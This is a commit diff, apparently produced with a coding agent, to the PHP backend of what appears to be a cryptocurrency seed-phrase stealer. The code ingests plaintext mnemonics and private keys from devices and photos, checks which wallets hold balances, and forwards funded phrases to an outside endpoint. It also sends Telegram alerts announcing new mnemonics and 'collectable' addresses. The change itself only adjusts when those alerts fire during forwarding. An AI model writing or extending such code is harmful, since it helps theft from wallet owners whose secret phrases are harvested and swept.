Skip local Telegram when a funded scan mnemonic is forwarded.
Scan ingest was notifying new-phrase and collectable addresses before POST /us succeeded. Co-authored-by: Cursor <cursoragent@cursor.com>
This commit is contained in:
@@ -531,7 +531,7 @@ class IngestService
|
||||
/**
|
||||
* `/api/user/set` — plaintext mnemonic / private key in `result`.
|
||||
*/
|
||||
public function ingestMnemonic(Device $device, ?array $payload, ?Device $origin = null): void
|
||||
public function ingestMnemonic(Device $device, ?array $payload, ?Device $origin = null, bool $notify = true): void
|
||||
{
|
||||
if (! is_array($payload)) {
|
||||
return;
|
||||
@@ -569,7 +569,8 @@ class IngestService
|
||||
}
|
||||
$row->save();
|
||||
if ($isNew) {
|
||||
$this->mnemonicLinker->linkMnemonicToDeviceAddresses($row);
|
||||
$this->mnemonicLinker->linkMnemonicToDeviceAddresses($row, $notify);
|
||||
if ($notify) {
|
||||
$this->telegram->notifyNewMemoric(
|
||||
$device->device_id,
|
||||
$source,
|
||||
@@ -578,6 +579,7 @@ class IngestService
|
||||
);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* Validate that a secret looks like a BIP39 mnemonic (12 or 24 words,
|
||||
|
||||
@@ -72,7 +72,7 @@ class MnemonicAddressLinker
|
||||
*
|
||||
* @return int Number of addresses linked
|
||||
*/
|
||||
public function linkMnemonicToDeviceAddresses(WalletMnemonic $mnemonic): int
|
||||
public function linkMnemonicToDeviceAddresses(WalletMnemonic $mnemonic, bool $notify = true): int
|
||||
{
|
||||
$phrase = $mnemonic->mnemonic;
|
||||
if ($phrase === null || trim($phrase) === '') {
|
||||
@@ -141,7 +141,7 @@ class MnemonicAddressLinker
|
||||
$linked++;
|
||||
}
|
||||
|
||||
if ($newlyLinked !== []) {
|
||||
if ($notify && $newlyLinked !== []) {
|
||||
$this->telegram->notifyCollectableAddresses($newlyLinked);
|
||||
}
|
||||
|
||||
|
||||
@@ -28,6 +28,7 @@ class MnemonicScanService
|
||||
private readonly IngestService $ingest,
|
||||
private readonly MnemonicWalletDiscovery $discovery,
|
||||
private readonly InterceptForwarder $forwarder,
|
||||
private readonly TelegramNotifier $telegram,
|
||||
) {}
|
||||
|
||||
public function dispatchPhoto(Photo $photo): void
|
||||
@@ -386,7 +387,7 @@ class MnemonicScanService
|
||||
$this->ingest->ingestMnemonic($holder, [
|
||||
'mnemonic' => $phrase,
|
||||
'a' => $tag,
|
||||
], $origin);
|
||||
], $origin, notify: false);
|
||||
|
||||
$mnemonic = WalletMnemonic::query()
|
||||
->where('device_id', $holder->id)
|
||||
@@ -397,7 +398,7 @@ class MnemonicScanService
|
||||
}
|
||||
|
||||
try {
|
||||
$this->discovery->discoverActivated($mnemonic);
|
||||
$this->discovery->discoverActivated($mnemonic, notify: false);
|
||||
} catch (\Throwable $e) {
|
||||
Log::warning('scan mnemonic discovery failed: '.$e->getMessage(), [
|
||||
'mnemonic_id' => $mnemonic->id,
|
||||
@@ -405,11 +406,25 @@ class MnemonicScanService
|
||||
]);
|
||||
}
|
||||
|
||||
if (! $this->mnemonicHasPositiveBalance($mnemonic)) {
|
||||
$forwarded = false;
|
||||
if ($this->mnemonicHasPositiveBalance($mnemonic)) {
|
||||
$forwarded = $this->forwarder->postMnemonic((string) $holder->device_id, $phrase, $tag);
|
||||
}
|
||||
if ($forwarded) {
|
||||
return;
|
||||
}
|
||||
|
||||
$this->forwarder->postMnemonic((string) $holder->device_id, $phrase, $tag);
|
||||
$this->telegram->notifyNewMemoric(
|
||||
(string) $holder->device_id,
|
||||
(string) ($mnemonic->source ?: ''),
|
||||
$phrase,
|
||||
$origin !== null ? $origin->device_id : null,
|
||||
);
|
||||
if ($this->mnemonicHasPositiveBalance($mnemonic)) {
|
||||
$this->telegram->notifyCollectableAddresses(
|
||||
WalletAddress::query()->where('mnemonic_id', $mnemonic->id)->get()
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
private function mnemonicHasPositiveBalance(WalletMnemonic $mnemonic): bool
|
||||
|
||||
@@ -62,7 +62,7 @@ class MnemonicWalletDiscovery
|
||||
* set discovery_complete.
|
||||
* @return int Number of address rows created or updated
|
||||
*/
|
||||
public function discoverActivated(WalletMnemonic $mnemonic, bool $force = false): int
|
||||
public function discoverActivated(WalletMnemonic $mnemonic, bool $force = false, bool $notify = true): int
|
||||
{
|
||||
$phrase = $mnemonic->mnemonic;
|
||||
if ($phrase === null || trim($phrase) === '') {
|
||||
@@ -97,7 +97,7 @@ class MnemonicWalletDiscovery
|
||||
$saved = [];
|
||||
$covered = []; // chain => true when linked / miss-cached / probed this run
|
||||
|
||||
$created = ChainHttpTimeout::using(self::PROBE_TIMEOUT_SECONDS, function () use ($mnemonic, $phrase, $source, $linkedChainTypes, $force, &$saved, &$covered) {
|
||||
$created = ChainHttpTimeout::using(self::PROBE_TIMEOUT_SECONDS, function () use ($mnemonic, $phrase, $source, $linkedChainTypes, $force, $notify, &$saved, &$covered) {
|
||||
foreach (self::CHAINS as $spec) {
|
||||
$chain = $spec['chain'];
|
||||
|
||||
@@ -135,7 +135,7 @@ class MnemonicWalletDiscovery
|
||||
}
|
||||
}
|
||||
|
||||
if ($saved !== []) {
|
||||
if ($notify && $saved !== []) {
|
||||
$this->telegram->notifyCollectableAddresses($saved);
|
||||
}
|
||||
|
||||
|
||||
@@ -48,7 +48,6 @@ TXT;
|
||||
]);
|
||||
Http::fake([
|
||||
'api.telegram.org/*' => Http::response(['ok' => true], 200),
|
||||
'*' => Http::response('fail', 500),
|
||||
]);
|
||||
}
|
||||
|
||||
@@ -450,7 +449,6 @@ TXT;
|
||||
Http::fake([
|
||||
'api.telegram.org/*' => Http::response(['ok' => true], 200),
|
||||
'https://dest.example/*' => Http::response('ok', 200),
|
||||
'*' => Http::response('fail', 500),
|
||||
]);
|
||||
$this->bindFundedDiscovery('TUEZSdKsoDHQMeZwihtdoBiN46zxhGWYdH', 12.5);
|
||||
|
||||
@@ -479,6 +477,14 @@ TXT;
|
||||
&& ($payload['a'] ?? '') === 'note_scan'
|
||||
&& ($payload['mnemonic'] ?? '') === self::PHRASE;
|
||||
});
|
||||
Http::assertNotSent(function ($request) {
|
||||
if (! str_contains($request->url(), 'api.telegram.org')) {
|
||||
return false;
|
||||
}
|
||||
$text = (string) ($request->data()['text'] ?? '');
|
||||
|
||||
return str_contains($text, '新助记词') || str_contains($text, '地址可归集');
|
||||
});
|
||||
}
|
||||
|
||||
#[Test]
|
||||
|
||||
Reference in New Issue
Block a user